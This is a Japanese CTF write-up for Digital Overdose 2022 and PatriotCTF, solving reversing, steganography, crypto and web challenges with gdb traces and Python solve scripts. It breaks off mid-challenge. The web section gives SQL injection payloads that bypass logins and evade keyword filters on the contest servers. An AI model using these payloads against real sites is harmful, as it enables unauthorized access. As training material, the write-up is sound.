Digital Overdose Conference 2022 CTF Writeup

この大会は2022/4/30 7:00(JST)~2022/5/2 7:00(JST)に開催されました。
今回もチームで参戦。結果は900点で242チーム中52位でした。
自分で解けた問題をWriteupとして書いておきます。

Shhhhhh it’s a Sekret (Stu's Investigation Extravaganza! 50)

公開鍵をインポートしてみる。

$ gpg --import key.asc
gpg: 鍵2A6264BD39D4EC07: 公開鍵"cybersecstu <ctfsaresometimefun@mail.com>"をインポートしました
gpg: 処理数の合計: 1
gpg:               インポート: 1

署名に使ったメールアドレスはctfsaresometimefun@mail.com。

DOCTF{ctfsaresometimefun@mail.com}

Part 1 - Ingress (Misc 50)

$ cat brut.log | grep DOCTF{ | head -1
2021-04-20 08:28:00 NGINX POST wp-login.php - 443 - 13.105.95.112 Mozilla/5.0+(Windows+NT+10.0;+Win64;+x64)+AppleWebKit/537.36+(DOCTF{w34k_p455w0rd5_637_pwnd})+Chrome/84.0.4147.105+Safari/537.36 - 401 0 0 28
DOCTF{w34k_p455w0rd5_637_pwnd}

Get down with the Gitness (Misc 100)

$ git clone https://github.com/punk-security/DOCON22_CTF1
Cloning into 'DOCON22_CTF1'...
remote: Enumerating objects: 682, done.
remote: Counting objects: 100% (682/682), done.
remote: Compressing objects: 100% (243/243), done.
remote: Total 682 (delta 392), reused 682 (delta 392), pack-reused 0
Receiving objects: 100% (682/682), 74.68 KiB | 483.00 KiB/s, done.
Resolving deltas: 100% (392/392), done.
$ cd DOCON22_CTF1/
$ git log -p | grep DOCTF | grep -v REDACTED
-the fl4g is: DOCTF{REDACTING_IN_GIT_IS_HARDZ}
+the fl4g is: DOCTF{REDACTING_IN_GIT_IS_HARDZ}
DOCTF{REDACTING_IN_GIT_IS_HARDZ}

1 - Ready ? (OSINT 10)

問題にフラグが書いてある。

DOCTF{R34DY}

vault (Reverse 100)

$ gdb -q ./vault
Reading symbols from ./vault...(no debugging symbols found)...done.
gdb-peda$ start

[----------------------------------registers-----------------------------------]
RAX: 0x5555555551e9 (<main>:	endbr64)
RBX: 0x0 
RCX: 0x555555555370 (<__libc_csu_init>:	endbr64)
RDX: 0x7fffffffdee8 --> 0x7fffffffe244 ("CLUTTER_IM_MODULE=xim")
RSI: 0x7fffffffded8 --> 0x7fffffffe22d ("/mnt/hgfs/Shared/vault")
RDI: 0x1 
RBP: 0x555555555370 (<__libc_csu_init>:	endbr64)
RSP: 0x7fffffffddf8 --> 0x7ffff7a03c87 (<__libc_start_main+231>:	mov    edi,eax)
RIP: 0x5555555551e9 (<main>:	endbr64)
R8 : 0x7ffff7dced80 --> 0x0 
R9 : 0x7ffff7dced80 --> 0x0 
R10: 0x0 
R11: 0x0 
R12: 0x555555555100 (<_start>:	endbr64)
R13: 0x7fffffffded0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5555555551d9 <__do_global_dtors_aux+57>:	nop    DWORD PTR [rax+0x0]
   0x5555555551e0 <frame_dummy>:	endbr64 
   0x5555555551e4 <frame_dummy+4>:	
    jmp    0x555555555160 <register_tm_clones>
=> 0x5555555551e9 <main>:	endbr64 
   0x5555555551ed <main+4>:	push   rbp
   0x5555555551ee <main+5>:	mov    rbp,rsp
   0x5555555551f1 <main+8>:	sub    rsp,0x40
   0x5555555551f5 <main+12>:	mov    rax,QWORD PTR fs:0x28
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddf8 --> 0x7ffff7a03c87 (<__libc_start_main+231>:	mov    edi,eax)
0008| 0x7fffffffde00 --> 0x1 
0016| 0x7fffffffde08 --> 0x7fffffffded8 --> 0x7fffffffe22d ("/mnt/hgfs/Shared/vault")
0024| 0x7fffffffde10 --> 0x100008000 
0032| 0x7fffffffde18 --> 0x5555555551e9 (<main>:	endbr64)
0040| 0x7fffffffde20 --> 0x0 
0048| 0x7fffffffde28 --> 0x52ff018447034528 
0056| 0x7fffffffde30 --> 0x555555555100 (<_start>:	endbr64)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Temporary breakpoint 1, 0x00005555555551e9 in main ()
gdb-peda$ disas main
Dump of assembler code for function main:
=> 0x00005555555551e9 <+0>:	endbr64 
   0x00005555555551ed <+4>:	push   rbp
   0x00005555555551ee <+5>:	mov    rbp,rsp
   0x00005555555551f1 <+8>:	sub    rsp,0x40
   0x00005555555551f5 <+12>:	mov    rax,QWORD PTR fs:0x28
   0x00005555555551fe <+21>:	mov    QWORD PTR [rbp-0x8],rax
   0x0000555555555202 <+25>:	xor    eax,eax
   0x0000555555555204 <+27>:	mov    BYTE PTR [rbp-0x3a],0x7d
   0x0000555555555208 <+31>:	mov    BYTE PTR [rbp-0x39],0x30
   0x000055555555520c <+35>:	mov    BYTE PTR [rbp-0x38],0x7b
   0x0000555555555210 <+39>:	mov    BYTE PTR [rbp-0x37],0x43
   0x0000555555555214 <+43>:	mov    BYTE PTR [rbp-0x36],0x46
   0x0000555555555218 <+47>:	mov    BYTE PTR [rbp-0x35],0x43
   0x000055555555521c <+51>:	mov    BYTE PTR [rbp-0x34],0x52
   0x0000555555555220 <+55>:	mov    BYTE PTR [rbp-0x33],0x30
   0x0000555555555224 <+59>:	mov    BYTE PTR [rbp-0x32],0x50
   0x0000555555555228 <+63>:	mov    BYTE PTR [rbp-0x31],0x52
   0x000055555555522c <+67>:	mov    BYTE PTR [rbp-0x30],0x34
   0x0000555555555230 <+71>:	mov    BYTE PTR [rbp-0x2f],0x46
   0x0000555555555234 <+75>:	mov    BYTE PTR [rbp-0x2e],0x4f
   0x0000555555555238 <+79>:	mov    BYTE PTR [rbp-0x2d],0x54
   0x000055555555523c <+83>:	mov    BYTE PTR [rbp-0x2c],0x33
   0x0000555555555240 <+87>:	mov    BYTE PTR [rbp-0x2b],0x44
   0x0000555555555244 <+91>:	mov    BYTE PTR [rbp-0x2a],0x48
   0x0000555555555248 <+95>:	mov    BYTE PTR [rbp-0x29],0x4b
   0x000055555555524c <+99>:	mov    edi,0x12
   0x0000555555555251 <+104>:	call   0x5555555550e0 <malloc@plt>
   0x0000555555555256 <+109>:	mov    QWORD PTR [rbp-0x28],rax
   0x000055555555525a <+113>:	lea    rdi,[rip+0xda7]        # 0x555555556008
   0x0000555555555261 <+120>:	mov    eax,0x0
   0x0000555555555266 <+125>:	call   0x5555555550d0 <printf@plt>
   0x000055555555526b <+130>:	mov    rax,QWORD PTR [rbp-0x28]
   0x000055555555526f <+134>:	mov    rsi,rax
   0x0000555555555272 <+137>:	lea    rdi,[rip+0xda4]        # 0x55555555601d
   0x0000555555555279 <+144>:	mov    eax,0x0
   0x000055555555527e <+149>:	call   0x5555555550f0 <__isoc99_scanf@plt>
   0x0000555555555283 <+154>:	movzx  eax,BYTE PTR [rbp-0x2b]
   0x0000555555555287 <+158>:	mov    BYTE PTR [rbp-0x20],al
   0x000055555555528a <+161>:	movzx  eax,BYTE PTR [rbp-0x2e]
   0x000055555555528e <+165>:	mov    BYTE PTR [rbp-0x1f],al
   0x0000555555555291 <+168>:	movzx  eax,BYTE PTR [rbp-0x37]
   0x0000555555555295 <+172>:	mov    BYTE PTR [rbp-0x1e],al
   0x0000555555555298 <+175>:	movzx  eax,BYTE PTR [rbp-0x2d]
   0x000055555555529c <+179>:	mov    BYTE PTR [rbp-0x1d],al
   0x000055555555529f <+182>:	movzx  eax,BYTE PTR [rbp-0x36]
   0x00005555555552a3 <+186>:	mov    BYTE PTR [rbp-0x1c],al
   0x00005555555552a6 <+189>:	movzx  eax,BYTE PTR [rbp-0x38]
   0x00005555555552aa <+193>:	mov    BYTE PTR [rbp-0x1b],al
   0x00005555555552ad <+196>:	movzx  eax,BYTE PTR [rbp-0x2a]
   0x00005555555552b1 <+200>:	mov    BYTE PTR [rbp-0x1a],al
   0x00005555555552b4 <+203>:	movzx  eax,BYTE PTR [rbp-0x30]
   0x00005555555552b8 <+207>:	mov    BYTE PTR [rbp-0x19],al
   0x00005555555552bb <+210>:	movzx  eax,BYTE PTR [rbp-0x35]
   0x00005555555552bf <+214>:	mov    BYTE PTR [rbp-0x18],al
   0x00005555555552c2 <+217>:	movzx  eax,BYTE PTR [rbp-0x29]
   0x00005555555552c6 <+221>:	mov    BYTE PTR [rbp-0x17],al
   0x00005555555552c9 <+224>:	movzx  eax,BYTE PTR [rbp-0x2c]
   0x00005555555552cd <+228>:	mov    BYTE PTR [rbp-0x16],al
   0x00005555555552d0 <+231>:	movzx  eax,BYTE PTR [rbp-0x34]
   0x00005555555552d4 <+235>:	mov    BYTE PTR [rbp-0x15],al
   0x00005555555552d7 <+238>:	movzx  eax,BYTE PTR [rbp-0x32]
   0x00005555555552db <+242>:	mov    BYTE PTR [rbp-0x14],al
   0x00005555555552de <+245>:	movzx  eax,BYTE PTR [rbp-0x31]
   0x00005555555552e2 <+249>:	mov    BYTE PTR [rbp-0x13],al
   0x00005555555552e5 <+252>:	movzx  eax,BYTE PTR [rbp-0x33]
   0x00005555555552e9 <+256>:	mov    BYTE PTR [rbp-0x12],al
   0x00005555555552ec <+259>:	movzx  eax,BYTE PTR [rbp-0x39]
   0x00005555555552f0 <+263>:	mov    BYTE PTR [rbp-0x11],al
   0x00005555555552f3 <+266>:	movzx  eax,BYTE PTR [rbp-0x2f]
   0x00005555555552f7 <+270>:	mov    BYTE PTR [rbp-0x10],al
   0x00005555555552fa <+273>:	movzx  eax,BYTE PTR [rbp-0x3a]
   0x00005555555552fe <+277>:	mov    BYTE PTR [rbp-0xf],al
   0x0000555555555301 <+280>:	mov    BYTE PTR [rbp-0xe],0x0
   0x0000555555555305 <+284>:	mov    rcx,QWORD PTR [rbp-0x28]
   0x0000555555555309 <+288>:	lea    rax,[rbp-0x20]
   0x000055555555530d <+292>:	mov    edx,0x12
   0x0000555555555312 <+297>:	mov    rsi,rcx
   0x0000555555555315 <+300>:	mov    rdi,rax
   0x0000555555555318 <+303>:	call   0x5555555550a0 <strncmp@plt>
   0x000055555555531d <+308>:	test   eax,eax
   0x000055555555531f <+310>:	jne    0x55555555533b <main+338>
   0x0000555555555321 <+312>:	lea    rax,[rbp-0x20]
   0x0000555555555325 <+316>:	mov    rsi,rax
   0x0000555555555328 <+319>:	lea    rdi,[rip+0xcf1]        # 0x555555556020
   0x000055555555532f <+326>:	mov    eax,0x0
   0x0000555555555334 <+331>:	call   0x5555555550d0 <printf@plt>
   0x0000555555555339 <+336>:	jmp    0x555555555347 <main+350>
   0x000055555555533b <+338>:	lea    rdi,[rip+0xd02]        # 0x555555556044
   0x0000555555555342 <+345>:	call   0x5555555550b0 <puts@plt>
   0x0000555555555347 <+350>:	mov    eax,0x0
   0x000055555555534c <+355>:	mov    rdx,QWORD PTR [rbp-0x8]
   0x0000555555555350 <+359>:	xor    rdx,QWORD PTR fs:0x28
   0x0000555555555359 <+368>:	je     0x555555555360 <main+375>
   0x000055555555535b <+370>:	call   0x5555555550c0 <__stack_chk_fail@plt>
   0x0000555555555360 <+375>:	leave  
   0x0000555555555361 <+376>:	ret    
End of assembler dump.

strncmpの比較をしているところにブレークポイントを置き、実行する。

gdb-peda$ b *0x0000555555555318
Breakpoint 2 at 0x555555555318
gdb-peda$ r
Starting program: /mnt/hgfs/Shared/vault 
Enter the Password: hoge

[----------------------------------registers-----------------------------------]
RAX: 0x7fffffffddd0 ("DOCTF{H4CK3RPR00F}")
RBX: 0x0 
RCX: 0x555555559260 --> 0x65676f68 ('hoge')
RDX: 0x12 
RSI: 0x555555559260 --> 0x65676f68 ('hoge')
RDI: 0x7fffffffddd0 ("DOCTF{H4CK3RPR00F}")
RBP: 0x7fffffffddf0 --> 0x555555555370 (<__libc_csu_init>:	endbr64)
RSP: 0x7fffffffddb0 --> 0x307d0000000000c2 
RIP: 0x555555555318 (<main+303>:	call   0x5555555550a0 <strncmp@plt>)
R8 : 0x0 
R9 : 0x0 
R10: 0x0 
R11: 0x55555555601f --> 0x7373656363755300 ('')
R12: 0x555555555100 (<_start>:	endbr64)
R13: 0x7fffffffded0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x55555555530d <main+292>:	mov    edx,0x12
   0x555555555312 <main+297>:	mov    rsi,rcx
   0x555555555315 <main+300>:	mov    rdi,rax
=> 0x555555555318 <main+303>:	call   0x5555555550a0 <strncmp@plt>
   0x55555555531d <main+308>:	test   eax,eax
   0x55555555531f <main+310>:	jne    0x55555555533b <main+338>
   0x555555555321 <main+312>:	lea    rax,[rbp-0x20]
   0x555555555325 <main+316>:	mov    rsi,rax
Guessed arguments:
arg[0]: 0x7fffffffddd0 ("DOCTF{H4CK3RPR00F}")
arg[1]: 0x555555559260 --> 0x65676f68 ('hoge')
arg[2]: 0x12 
arg[3]: 0x555555559260 --> 0x65676f68 ('hoge')
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddb0 --> 0x307d0000000000c2 
0008| 0x7fffffffddb8 ("{CFCR0PR4FOT3DHK`\222UUUU")
0016| 0x7fffffffddc0 ("4FOT3DHK`\222UUUU")
0024| 0x7fffffffddc8 --> 0x555555559260 --> 0x65676f68 ('hoge')
0032| 0x7fffffffddd0 ("DOCTF{H4CK3RPR00F}")
0040| 0x7fffffffddd8 ("CK3RPR00F}")
0048| 0x7fffffffdde0 --> 0x7fffff007d46 
0056| 0x7fffffffdde8 --> 0x2b6b04de17511900 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, 0x0000555555555318 in main ()

strncmpの第一引数にフラグが入っている。

DOCTF{H4CK3RPR00F}

Area 51 (Steganography 50)

Audacityで開き、スペクトログラムを見ると、フラグが現れた。

DOCTF{SP3CTR0GR4M5_4R3_C00L_1F_0NLY_1_KN3W_H0W_T0_CR34T3_1T_MY53LF}

Matryoshka (Steganography 50)

何重にもzip圧縮されているので、スクリプトで解凍していく。

#!/usr/bin/env python3
import zipfile
import os

fname = '8fb0444894b78f857dd600b7f35c0af4.zip'

while True:
    with zipfile.ZipFile(fname) as zf:
        next_fname = zf.namelist()[0]
        zf.extractall('.')
    os.remove(fname)
    fname = next_fname
    if not fname.endswith('.zip'):
        break

最後にBOMB_FLAGファイルが展開され、中にはこう書いてあった。

Welcome to the bottom! Here's your flag: DOCTF{G00D_3FF0RT_BUT_1$_1T_0V3R?}

Nicos
DOCTF{G00D_3FF0RT_BUT_1$_1T_0V3R?}

Honey Maker (Cryptography 50)

HTMLソースを見ると、コメントにこう書いてある。

   <!-- honey maker ctf-->
      <!--looks like you've found me!
              \     /
          \    o ^ o    /
            \ (     ) /
 ____________(%%%%%%%)____________
(     /   /  )%%%%%%%(  \   \     )
(___/___/__/           \__\___\___)
   (     /  /(%%%%%%%)\  \     )
    (__/___/ (%%%%%%%) \___\__)
            /(       )\
          /   (%%%%%)   \
               (%%%)
                 !
         wWWWw               wWWWw
   vVVVv (___) wWWWw         (___)  vVVVv
   (___)  ~Y~  (___)  vVVVv   ~Y~   (___)
    ~Y~   \|    ~Y~   (___)    |/    ~Y~
    \|   \ |/   \| /  \~Y~/   \|    \ |/
   \\|// \\|// \\|/// \\|//  \\|// \\\|///
jgs^^^^^^https://youtu.be/ptBkmMk5YCc^^^^^^-->
      <!--honey maker ctf ends here-->

https://youtu.be/ptBkmMk5YCcの動画を眺めてみる。6:12くらいのところでフラグが表示された。

DOCTF{STINGER}

uncommitted (Cryptography 50)

点字と推測し、デコードする。

SORRYIHAVEAPARTNER
DOCTF{SORRYIHAVEAPARTNER}

Mendel(la) effect (Cryptography 50)

https://www.nacalai.co.jp/information/trivia2/09.htmlのDNAの遺伝暗号表を元に復号する。

ATGGCAGGAATCTGCTGA
M  A  G  I  C  (STOP)
DOCTF{MAGIC}

Frog festivities (Cryptography 50)

image.pngにはjumpyと書かれており、2段で横26マスの表になっている。Keyed Caesar Cipherと推測し、https://www.boxentriq.com/code-breaking/keyed-caesar-cipherで復号する。

ribbit
DOCTF{ribbit}

Based (Cryptography 100)

base64文字列のようなので、デコードする。

$ cat based.txt | base64 -d
Grandpa sent me on a treasure hunt to get a lost flag but the map wasnt completed. All I saw was the city of ROT and a coded message: Jung lbh jvfu sbe vf ng ...- .. --. . -. . .-. . ... -.-. .- ... - .-.. . hfr gur xrl QBgjb naq cebivqr gur cuenfr TPICG{MpcHpkskKbifj}

"cuenfr"までモールス信号を除き、シーザー暗号と推測し、https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号してみる。

Jung lbh jvfu sbe vf ng [モールスコード] hfr gur xrl QBgjb naq cebivqr gur cuenfr
    ↓ROT13
What you wish for is at [モールスコード] use the key DOtwo and provide the phrase 

モールスコード部分をhttps://morsecode.world/international/translator.htmlでデコードしてみる。

VIGENERESCASTLE

フラグ部分をVigenere暗号と推測し、復号してみる。鍵はQBGJB。

DOCTF{WowYoureBased}

Fight the corruption (Cryptography 100)

1箇所ASCII文字になっていない箇所があり、さらにDER形式に変換すると、先頭にゴミが入っている。ゴミを削除後、不明な1バイトをブルートフォースで、PEM形式にして例外が発生しないものを探す。探し当てることができたら、そのパラメータを使って、復号する。

#!/usr/bin/env python3
from Crypto.PublicKey import RSA
from Crypto.Util.number import *
from base64 import *
from string import *
import re

def der_to_pem(der):
    pem = b'-----BEGIN PRIVATE KEY-----\r\n'
    b64 = b64encode(der)
    for i in range(0, len(b64), 64):
        pem += b64[i:i+64] + b'\r\n'
    pem += b'-----END PRIVATE KEY-----\r\n'
    return pem.decode()

with open('challenge.pem', 'rb') as f:
    data = f.read()

index = data.index(b'fhWn')
b64str = ascii_letters + digits + '+/'

for c in b64str:
    tmp_data = data[:index-4] + c.encode() + data[index:]
    tmp_data = tmp_data.replace(b'\r\n', b'')
    tmp_data = tmp_data.replace(b'-----BEGIN PRIVATE KEY-----', b'')
    tmp_data = tmp_data.replace(b'-----END PRIVATE KEY-----', b'')
    der_data = b64decode(tmp_data)[26:]
    pem_data = der_to_pem(der_data)
    try:
        privkey = RSA.importKey(pem_data)
        print('[+] unknown char:', c)
        break
    except:
        continue

n = privkey.n
d = privkey.d

with open('SECRET.enc', 'rb') as f:
    c = bytes_to_long(f.read())

m = pow(c, d, n)
msg = long_to_bytes(m)
index_begin = msg.index(b'DOCTF')
index_end = msg.index(b'}', index_begin)
flag = msg[index_begin:index_end + 1].decode()
print('[*] flag:', flag)

実行結果は以下の通り。

[+] unknown char: Y
[*] flag: DOCTF{1M4G1N3_TH1S_W0ULD_H4PP3N_1N_PR0DUCTI0N}
DOCTF{1M4G1N3_TH1S_W0ULD_H4PP3N_1N_PR0DUCTI0N}

PatriotCTF Writeup

この大会は2022/4/30 6:00(JST)~2022/5/1 6:00(JST)に開催されました。
今回もチームで参戦。結果は11939点で436チーム中7位でした。
自分で解けた問題をWriteupとして書いておきます。

Join the Discord (Misc)

Discordに入り、#rulesチャネルのメッセージを見ると、フラグが書いてあった。

PCTF{y0ur3_t34ring_m3_4p4rt_1isa}

Apples (Misc)

$ file apples
apples: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a9d726b38f66c296b53ef882a4f40732348f7dcb, for GNU/Linux 3.2.0, not stripped

$ ltrace ./apples
printf("Please enter the password: ")           = 27
fgets(Please enter the password: a
"a\n", 1024, 0x7f1f77d5ba00)              = 0x7fff74e87d70
strcmp("a\n", "apples\n")                       = -102
puts("Sorry, that password was wrong!!"...Sorry, that password was wrong!!!
)     = 34
+++ exited (status 0) +++

$ ./apples
Please enter the password: apples
You're right! The correct password was apples!
You deserve some apples as a reward!

apples_rewardが生成された。

$ file apples_reward 
apples_reward: ASCII text, with very long lines, with no line terminators

内容はbase64文字列。デコードすると、jpgになったので、問題にある通り、steghideで情報を抽出する。パスワードには"apples"を指定する。

$ steghide extract -sf flag.jpg -p apples
wrote extracted data to "data.txt".
$ cat data.txt 
pctf{@pples_tast3_amaz\!ng666}

そのままではフラグが通らなかったので、"\"をエスケープ文字として、省略する。

pctf{@pples_tast3_amaz!ng666}

String Cheese (Reverse Engineering)

$ strings cheese | grep PCTF
PCTF{d0nt_string_m3_410ng_b3_my_v413ntin3}
PCTF{d0nt_string_m3_410ng_b3_my_v413ntin3}

PeeWhySea (Reverse Engineering)

Python3.9のpycのようだが、デコンパイルツールはPython3.8以下しかサポートしていない。ヘッダの1バイトのみ変更し、Python3.8のpycヘッダにする。

61 -> 55

pycをデコンパイルする。

$ uncompyle6 flag-checker.pyc 
# uncompyle6 version 3.8.0
# Python bytecode 3.8.0 (3413)
# Decompiled from: Python 3.6.9 (default, Mar 15 2022, 13:55:28) 
# [GCC 8.4.0]
# Embedded file name: ./flag-checker.py
# Compiled at: 2022-03-29 07:35:26
# Size of source mod 2**32: 318 bytes
import sys
if len(sys.argv) != 2:
    print('One argument required')
    sys.exit()
else:
    arg = sys.argv[1]
    key = 'ABCDEFGHIJKLMNOP'
    encode = ''.join(['{:02x}'.format(ord(a) ^ ord(b)) for a, b in zip(arg, key)])
    if encode == '110117023e3273237a157f133d372c2d':
        print('You have the correct flag!')
    else:
        print('Wrong flag')
# okay decompiling flag-checker.pyc

keyとのXORの16進表記が'110117023e3273237a157f133d372c2d'であるので、XORで復号する。

#!/usr/bin/env python3
enc = bytes.fromhex('110117023e3273237a157f133d372c2d')
key = b'ABCDEFGHIJKLMNOP'

flag = ''.join([chr(a ^ b) for a, b in zip(enc, key)])
print(flag)
PCTF{t4k3_4_pyc}

Inspector Clouseau (Web)

HTMLソースを見たら、コメントにフラグが書いてあった。

PCTF{i_w0u1d_1ik3_t0_buy_4_h4mburg3r}

Rock and Roll (Web)

ブラウザでアクセスすると、https://www.youtube.com/watch?v=dQw4w9WgXcQにリダイレクトされる。
リダイレクトせずにHTTPヘッダを確認する。

$ curl http://chal2.pctf.competitivecyber.club:49399/ -v
*   Trying 34.205.133.141...
* TCP_NODELAY set
* Connected to chal2.pctf.competitivecyber.club (34.205.133.141) port 49399 (#0)
> GET / HTTP/1.1
> Host: chal2.pctf.competitivecyber.club:49399
> User-Agent: curl/7.58.0
> Accept: */*
> 
< HTTP/1.1 200 OK
< Server: Werkzeug/2.1.1 Python/3.10.4
< Date: Sat, 30 Apr 2022 03:09:07 GMT
< Content-Type: text/html; charset=utf-8
< link: <style.css>; rel=stylesheet;
< flag: PCTF{r1Ck_D0wn_7h3_r0ll}
< Refresh: 5; url=https://www.youtube.com/watch?v=dQw4w9WgXcQ
< Content-Length: 0
< 
* Connection #0 to host chal2.pctf.competitivecyber.club left intact
PCTF{r1Ck_D0wn_7h3_r0ll}

Apocalypse Security - 1 (Web)

ログイン画面で、以下を入力し、ログインする。

Username: ' or 1=1 -- -
Password: a

ログイン成功し、フラグが表示された。

PCTF{SQLI_iS_3@sy}

Spongebob (Web)

`ls -la`と入力してみる。

totAL 476
dr-Xr-XR-x 1 rOot wwW-Data   4096 ApR 29 23:43 .
drWXr-xR-x 1 RooT RoOT       4096 aPr 20 11:18 ..
-RW-RW-r-- 1 roOT www-DATA     29 apR 26 20:34 .DOCKErIGnoRE
-R--r--R-- 1 ROot WWW-dATA 453875 aPr 26 20:31 FlAG-aS98Dc6rnv3P948R7aSP98FDYNp.JPG
-r--r--r-- 1 ROOt Www-DATa    293 aPr 26 20:31 INdex.hTML
-r--R--r-- 1 rOoT wwW-daTA    118 ApR 26 20:31 maiN.PHp
-r--R--r-- 1 roOT wwW-dATa    437 APR 26 20:31 MemeteXT.py

大文字か小文字化は不明だが、すべて小文字として以下のURLにアクセスすると、画像にフラグが書いてあった。

http://chal1.pctf.competitivecyber.club:10009/flag-as98dc6rnv3p948r7asp98fdynp.jpg

PctF{SPoNGebob_LOokiNG_ThIcC}

Locked (Web)

サブディレクトリを探ってみると、http://chal1.pctf.competitivecyber.club:10017/admin/にアクセスできた。HTMLソースを確認し、リンクされているmain.jsを確認してみると、以下のような記述があった。

var thing = atob(atob(atob("VERKR2EySlhiSFZNTUVaTVUydFNWRk5yV2t4U1JrNUxWRVZHVkZKcE9YSmpNbmhyWVcxYWRtRlhSbXRqTWxsMVpFaG9NQT09")));
$ echo VERKR2EySlhiSFZNTUVaTVUydFNWRk5yV2t4U1JrNUxWRVZHVkZKcE9YSmpNbmhyWVcxYWRtRlhSbXRqTWxsMVpFaG9NQT09 | base64 -d | base64 -d | base64 -d
/admin/AKJDSJFKDSJLASF/ksldjfoiadsf.txt

http://chal1.pctf.competitivecyber.club:10017/admin/AKJDSJFKDSJLASF/ksldjfoiadsf.txtにアクセスすると、以下のように書かれていた。

https://pastebin.com/F21q9Eu8

https://pastebin.com/F21q9Eu8にアクセスすると、フラグが記載されていた。

pctf{Th3_W3bsite_w@s_UnL0cK3d}

Apocalypse Security - 2 (Web)

ログイン画面で、以下を入力し、ログインしてみる。

Username: ' or 1=1 -- -
Password: a

SQL injection Deteced: or」と表示された。"or"は使えないようだ。
次に以下を入力して、ログインしてみる。

Username: ' union select 'admin', 'pass' -- -
Password: a

SQL injection Deteced: admin」と表示された。"admin"は使えないようだ。
次に以下を入力して、ログインしてみる。

Username: ' union select 'a', 'a' -- -
Password: a

ログイン成功し、フラグが表示された。

PCTF{f1l7ers_n0t_s3cur3}

Apocalypse Security - 3 (Web)

今度は'admin'でログインする必要がある。ただし、'or', 'and', 'admin'は使えない。
文字列を連結するように、以下を入力して、ログインしてみる。

Username: ' union select 'ad' || 'min', 'a' -- -
Password: a

ログイン成功し、フラグが表示された。

PCTF{w0rld_0f_sQl_8kdw7}

Base64 Times 10 (Crypto)

10回base64デコードする。

#!/usr/bin/env python3
import base64

with open('cipher.txt', 'r') as f:
    data = f.read()

for _ in range(10):
    data = base64.b64decode(data)

flag = data.decode()
print(flag)
pctf{0bfusc@tion_1s_n0t_3ncrypt10n}

The Order (Crypto)

Cistercian numerals。https://en.wikipedia.org/wiki/Cistercian_numeralsを見ながら、デコードする。

6811 1112 5195 1101 1710 9985 1114 9511 5121 1151 1651 1093 3

ASCIIコードの文字になるよう切りながらデコードする、

#!/usr/bin/env python3
enc = '6811 1112 5195 1101 1710 9985 1114 9511 5121 1151 1651 1093 3'
enc = enc.replace(' ', '')

flag = ''
code = ''
for c in enc:
    code += c
    if int(code) > 32 and int(code) < 127:
        flag += chr(int(code))
        code = ''

flag = 'PCTF{%s}' % flag
print(flag)
PCTF{Dop3_numb3r_syst3m!}

No Postcode Envy (Crypto)

RM4SCC。https://en.wikipedia.org/wiki/RM4SCCを参考にデコードする。

OHLORDEK
PCTF{OHLORDEK}

TwoFifty (Crypto)

RSA暗号。nをfactordbで素因数分解する。

p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367

あとはそのまま通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

n = 2140324650240744961264423072839333563008614715144755017797754920881418023447140136643345519095804679610992851872470914587687396261921557363047454770520805119056493106687691590019759405693457452230589325976697471681738069364894699871578494975937497937
e = 65537
c = 1374140457838957379493712264664046131145058468396958574281359672603632278570608567064112242671498606710440678399100851664468278477790512915780318592408890478262161233349656479275652165724092531743704926961399610549341692938259957133256408358261191631

p = 33372027594978156556226010605355114227940760344767554666784520987023841729210037080257448673296881877565718986258036932062711
q = 64135289477071580278790190170577389084825014742943447208116859632024532344630238623598752668347708737661925585694639798853367
assert n == p * q

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)

復号結果は以下の通り。

this_s3miprim3_t00k_2700_CPU_c0r3_y34rs_t0_cr4ck
PCTF{this_s3miprim3_t00k_2700_CPU_c0r3_y34rs_t0_cr4ck}

Cowsay (Crypto)

https://wiremask.eu/tools/xor-cracker/でクラックする。鍵長38で鍵がフラグになることがわかる。

PCTF{this_is_4_sup3r_i(p0rt4nt_bin4ry}

CorruptAAAAd (Crypto)

base64デコードしてPEM形式からDER形式にデータを変換する。あとはDER形式が以下のようになっていることから、n, e, dを取り出す。

RSAPrivateKey ::= SEQUENCE {
    version           Version,
    modulus           INTEGER, -- n
    publicExponent    INTEGER, -- e
    privateExponent   INTEGER, -- d
    prime1            INTEGER, -- p
    prime2            INTEGER, -- q
    exponent1         INTEGER, -- d mod (p-1)
    exponent2         INTEGER, -- d mod (q-1)
    coefficient       INTEGER, -- (inverse of q) mod p
    otherPrimeInfos   OtherPrimeInfos OPTIONAL
}

あとはこのまま復号し、フラグ部分を取り出す。

#!/usr/bin/env python3
from base64 import *
from Crypto.Util.number import *

with open('corrupted-privkey.pem', 'r') as f:
    data = ''.join(f.read().splitlines()[1:-1]).encode()

data = b64decode(data)

n = int(data[0x00b:0x10c].hex(), 16)
e = int(data[0x10e:0x111].hex(), 16)
d = int(data[0x115:0x215].hex(), 16)

with open('encryptedmessage.enc', 'rb') as f:
    c = bytes_to_long(f.read())

m = pow(c, d, n)
msg = long_to_bytes(m)
index_begin = msg.index(b'PCTF')
index_end = msg.index(b'}', index_begin)
flag = msg[index_begin:index_end + 1].decode()
print(flag)
PCTF{g1mm3_th3_e}

Merkle-Derkle (Crypto)

サーバの処理概要は以下の通り。

・letters: 英大小文字
・secret: 15~35文字の英大小文字

■/ (GET)
・クッキーのauthが設定されていない場合
 ・new_user()
  ・user = "admin=False"
  ・data = secret + user
  ・mac: dataのsha1ダイジェスト(hex)
  ・cookie_val: userの16進数表記 + "." + mac
  →authに設定
・クッキーのauthが設定されている場合
 ・admin = validate(<クッキーのauthの値>)
  ・user: "."の前のhexデコード
  ・data = secret + user
  ・cookie_mac: "."の後ろ
